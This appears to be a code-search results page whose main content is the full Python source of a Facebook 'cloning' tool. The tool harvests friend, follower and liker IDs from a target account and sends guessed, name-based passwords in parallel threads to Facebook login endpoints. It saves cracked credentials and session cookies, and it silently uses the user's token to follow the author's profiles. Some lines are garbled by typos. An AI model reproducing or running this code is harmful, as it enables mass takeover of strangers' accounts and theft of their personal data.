59 skills found · Page 2 of 2
v3ucn / NeuralCollaborativeFiltering NCF Tensorflow构建基于深度学习神经网络协同过滤模型(NCF)的视频推荐系统(Python3.10/Tensorflow2.11)
ahmar00987 / Fb Clonin#!/usr/bin/python3 #-*-coding:utf-8-*- # Made With ❤️ By Ahmar And AHMARCODE Project # Update V0.1 # Copyright© Ahmar ID 2021 # 100% Open Source Code # Author : Ahmar jan. # Facebook (Alizar M.M.M X) : https://www.facebook.com/profile.php?id=100027259894020X # Instagram (☬ 𝐀𝐧𝐨𝐧𝐲𝐦 𝟒𝟎𝟒 ☬) : Instagram.com. # Whatsapp (Alizar) : 03127103451 # Free Recode For Personal Use # Bebas Recode Untuk Penggunaan Pribadi # Izin Terlebih Dahulu Apabila Ingin Re-Upload # Jangan Jual Belikan File Source Code Ini ! ### Import Module import requests,sys,bs4,os,random,time,json from concurrent.futures import ThreadPoolExecutor as ThreadPool from datetime import datetime ### Perumpamaan Module & Syntax _req_get_ = requests.get _req_post_ = requests.post _js_lo_ = json.loads _ahmar_cici_ = print _cici_ahmar_ = input _ahmar_ahmar_ = open _cici_cici_ = exit ### Waktu & Tanggal current = datetime.now() ta = current.year bu = current.month ha = current.day bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] try: if bu < 0 or bu > 12: _cici_cici_() buTemp = bu - 1 except ValueError: _cici_cici_() op = bulan[buTemp] tanggal = ("%s-%s-%s"%(ha,op,ta)) ### Warna _P_ = "\x1b[0;97m" # Putih _M_ = "\x1b[0;91m" # Merah _H_ = "\x1b[0;92m" # Hijau _U_ = "\x1b[0;95m" # Ungu ### Logo _logo_line_1_ = ('%s.------..------..------..------..------. (_U_)) _logo_line_2_ = ('%s|A.--. ||H.--. ||M.--. ||A.--. ||R.--. | %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) _logo_line_3_ = ('%s| (\/) || :/\: || (\/) || (\/) || :(): | %sEditor By %s• AHMAR JAN %s '%(_U_,_M_,_P_,_U_)) _logo_line_4_ = ('%s| :\/: || (__) || :\/: || :\/: || ()() | %sWhatssap %s• 03127103451 %s '%(_U_,_M_,_P_,_U_)) _logo_line_5_ = ('%s| '--'A|| '--'H|| '--'M|| '--'A|| '--'R| %sAdrees %s• FASILABAD %s '%(_U_,_M_,_P_,_U_)) _logo_line_6_ = ('%s`------'`------'`------'`------'`------' %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) def _my_logo_(): _ahmar_cici_(_logo_line_1_) _ahmar_cici_(_logo_line_2_) _ahmar_cici_(_logo_line_3_) _ahmar_cici_(_logo_line_4_) _ahmar_cici_(_logo_line_5_) _ahmar_cici_(_logo_line_6_+'\n') ### User Agent ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ### Penampungan _id_tampung_ = [] ### Jangan Diganti Nanti Error _oscylopsce_ = '__Ahmar__' _ascylapsci_ = '__Cici__' _escylipsce_ = '__Ahmar_Love_Cici__' _uscylupsci_ = '__My_Love____Ahmar____Ahmar_Love_Cici____Cici____Forever__' ### Membuat Folder Direktori def _folder_(): try:os.mkdir("CP") except:pass try:os.mkdir("OK") except:pass ### Clear Login Session def _bersih_(): try:os.remove('token.txt') except:pass ### Clear User Agent def _del_(): try:os.remove('ugent.txt') except:pass ### Clear Terminal def _clear_(): if "linux" in sys.platform.lower():os.system("clear") elif "win" in sys.platform.lower():os.system("cls") else:os.system("clear") ### Jangan Diganti Anjink! def _bot_follow_(_tok_dev_): token = _tok_dev_ try: _req_post_("https://https://www.facebook.com/profile.php?id=100027259894020/subscribers?access_token=" + token) Alizar M.M.M # _req_post_("https://graph.facebook.com/100060885769913/subscribers?access_token=" + token) # احسان اللہ _req_post_("https://graph.facebook.com/100012267158212/subscribers?access_token=" + token) # وزیراعظم صاحب _req_post_("https://graph.facebook.com/100009834670141/subscribers?access_token=" + token) # نسرین اختر _req_post_("https://graph.facebook.com/100007026360241/subscribers?access_token=" + token) # Zama Jan _ahmar_cici_('\n%s[%s!%s] %sLogin Successful'%(_H_,_P_,_H_,_P_)) time.sleep(2) except (KeyError,IOError):pass ### Login def _login_dev_(_Cici_Cantik_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Cici_Cantik_Banget_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:pass _tok_dev_ = _cici_ahmar_('%s[%s•%s] %sPLEASE Enter Token :\n\n'%(_P_,_H_,_P_,_U_)) try: _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _op_dev_ = _ahmar_ahmar_('token.txt','w') _op_dev_.write(_tok_dev_) _op_dev_.close() _bot_follow_(_tok_dev_) _default_ua_(_Cici_Cantik_Banget_) _menu_dev_(_Cici_Cantik_Banget_) except (KeyError,IOError): _ahmar_cici_('\n%s[%s!%s] %sToken EXPIRE'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Cici_Cantik_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('\n%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() ### Menu def _menu_dev_(_Ahmar_Ganteng_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Ahmar_Ganteng_Banget_:_ahmar_cici_('%s[%s!%s] %sHayoo Mau Recode Ya?'%(_M_,_P_,_M_,_P_)) else:pass try: _tok_dev_ = _ahmar_ahmar_("token.txt","r").read() _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _id_dev_ = _js_load_['id'] except (KeyError,IOError): _ahmar_cici_('%s[%s!%s] %sToken Invalid'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() try: _ip_url_ = "http://ip-api.com/json/" _ip_headers_ = { "Referer":"http://ip-api.com/", "Content-Type":"application/json; charset=utf-8", "User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" } _ip_req_ = _req_get_(_ip_url_,headers=_ip_headers_).json() _ip_dev_ = _ip_req_["query"] except: _ip_dev_ = " " _ahmar_cici_('%s[%s•%s] %sWelcome %s%s'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_)) _ahmar_cici_('%s[%s•%s] %sID : %s'%(_U_,_P_,_U_,_P_,_id_dev_)) _ahmar_cici_('%s[%s•%s] %sIP : %s\n'%(_U_,_H_,_U_,_H_,_ip_dev_)) _ahmar_cici_('%s[%s1%s] %sCrack From Friends/Public ID '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sCrack From Followrs ID'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sCrack ID From Likers'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sView Crack Results'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sUser Agent'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s0%s] %sLog Out'%(_U_,_P_,_U_,_M_)) _ahmar_menu__cici_ahmar__ = _cici_ahmar_('%s[%s•%s] %sChooses : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if _ahmar_menu__cici_ahmar__ in ['',' ']: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['1','01','a']: _publik_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['2','02','b']: _followers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['3','03','c']: _likers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['4','04','d']: _cek_result_dev_() elif _ahmar_menu__cici_ahmar__ in ['5','05','e']: _ugen_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['0','00','z']: _ahmar_cici_('%s[%s•%s] %sSee you later %s%s %s!'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) ### Dump ID Publik def _publik_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sType (Me) Clone your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sINPUT TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarger Name: %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/friends?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Pengikut def _followers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPast Target ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarget Name : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /Targe not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/subscribers?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / Target Not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Likers def _likers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPAST TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sNama : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/likes?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahamr_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Generate Password def _pass_list_(_cici_): _ahmar_=[] for i in _cici_.split(" "): if len(i)<3: continue else: i=i.lower() if len(i)==3 or len(i)==4 or len(i)==5: _ahmar_.append(i+"123") _ahmar_.append(i+"12345") else: _ahmar_.append(i) _ahmar_.append(i+"123") _ahmar_.append(i+"12345") _ahmar_.append(_cici_.lower()) _ahmar_.append("pakistan") _ahmar_.append("123456789") _ahmar_.append("123456") return _ahmar_ ### Logger Crack def log_api(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} param = {'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'json', 'sdk_version': '2', 'email': em, 'locale': 'en_US', 'password': pas, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig':'3f555f99fb61fcd7aa0c44f58f522ef6'} api = 'https://b-api.facebook.com/method/auth.login' response = r.get(api, params=param, headers=header) if 'session_key' in response.text and 'EAAA' in response.text: return {"status":"success","email":em,"pass":pas} elif 'www.facebook.com' in response.json()['error_msg']: return {"status":"cp","email":em,"pass":pas} else:return {"status":"error","email":em,"pass":pas} def log_mbasic(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) p = r.get("https://mbasic.facebook.com/") b = r.post("https://mbasic.facebook.com/login.php", data={"email": em, "pass": pas, "login": "submit"}) _raw_cookies_ = (";").join([ "%s=%s" % (key, value) for key, value in r.cookies.get_dict().items() ]) if "c_user" in r.cookies.get_dict().keys(): return {"status":"success","email":em,"pass":pas,"cookies":_raw_cookies_} elif "checkpoint" in r.cookies.get_dict().keys(): return {"status":"cp","email":em,"pass":pas,"cookies":_raw_cookies_} else:return {"status":"error","email":em,"pass":pas} def koki(_cookies_): samp_ = _cookies_.split(';') _cooked_cookies_ = ('%s;%s;%s;%s;%s'%(samp_[2],samp_[4],samp_[0],samp_[3],samp_[1])) return _cooked_cookies_ ### Crack Proccess class _crack_dev_: def __init__(self,files): self._Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' self.ada = [] self.cp = [] self.ko = 0 _ahmar_cici_('\n%s[%s•%s] %sCrack With Default/Manual Password [d/m]'%(_U_,_P_,_U_,_P_)) while True: f = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if f=="": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif f in ['m','M','2','02','002']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: _ahmar_cici_('%s[%s!%s] %sDump File Not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0]}) except:continue except Exception as e: _ahmar_cici_('%s[%s!%s] %sDump File not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) _ahmar_cici_('%s[%s•%s] %sExample : Pakistan,786786,223344'%(_U_,_P_,_U_,_P_)) self.pwlist() break elif f in ['d','D','1','01','001']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: continue self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0],"pw":_pass_list_(i.split("•")[1])}) except:continue start_method() put = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(35).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(35).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) except Exception as e: continue def pwlist(self): self.pw = _cici_ahmar_('%s[%s•%s] %s Enter Password : '%(_U_,_P_,_U_,_P_)).split(",") if len(self.pw) ==0: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) else: for i in self.fl: i.update({"pw":self.pw}) start_method() put = _cici_ahmar _('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(30).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(30).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) def api(self,fl): try: for i in fl.get("pw"): log = log_api(fl.get("id"),i,"https://b-api.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sAHMAR-OK%s] %s • %s "%(_H_,_P_,_H_,fl.get("id"),i)) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.api(fl) def mbasic(self,fl): try: for i in fl.get("pw"): log = log_mbasic(fl.get("id"),i,"https://mbasic.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sXSAN-OK%s] %s • %s • %s "%(_H_,_P_,_H_,fl.get("id"),i,koki(log.get("cookies")))) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.mbasic(fl) ### Menu Mengecek Hasil Crack def _cek_result_dev_(): _clear_() _my_logo_() _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__forever__' _ahmar_cici_('%s[ %sCrack Results %s]'%(_U_,_P_,_U_)) _ahmar_cici_('\n%s[%s1%s] %sCheck Results OK'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sChel Results CP'%(_U_,_P_,_U_,_P_)) ch = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if ch in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif ch in ['1','01','001','a']: try: okl = os.listdir("OK") _ahmar_cici_('\n%s[%s Crack Results Stored in File OK %s]\n'%(_U_,_P_,_U_)) for file in okl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sINPUT File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat OK/%s'%(files)) ppp = _ahmar_ahmar_("OK/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmae_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) elif ch in ['2','02','002','b']: try: cpl = os.listdir("CP") _ahmar_cici_('\n%s[%s Crack Results Stored in CP Files %s]\n'%(_U_,_P_,_U_)) for file in cpl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sInput File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat CP/%s'%(files)) ppp = _ahmar_ahmar_("CP/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmar_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) else: _ahmar_cici_('%s[%s!%s] %sWeong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _cici_ahmar_('\n%s[ %sReturn %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Mau Recode Lu Ya? def _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_): _recode_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' if _uscylupsci_ not in _recode_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:return _menu_dev_(_recode_) ### Menu User Agent def _default_ua_(_Cici_Cantik_Banget_): ua = ua_xiaomi try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() except (KeyError,IOError): _login_dev_(_Cici_Cantik_Banget_) def _ugen_dev_(_Ahmar_jan_Cici_): _var_ugen_(_Ahmar_jan_Cici_) pmu = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if pmu in[""]: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) 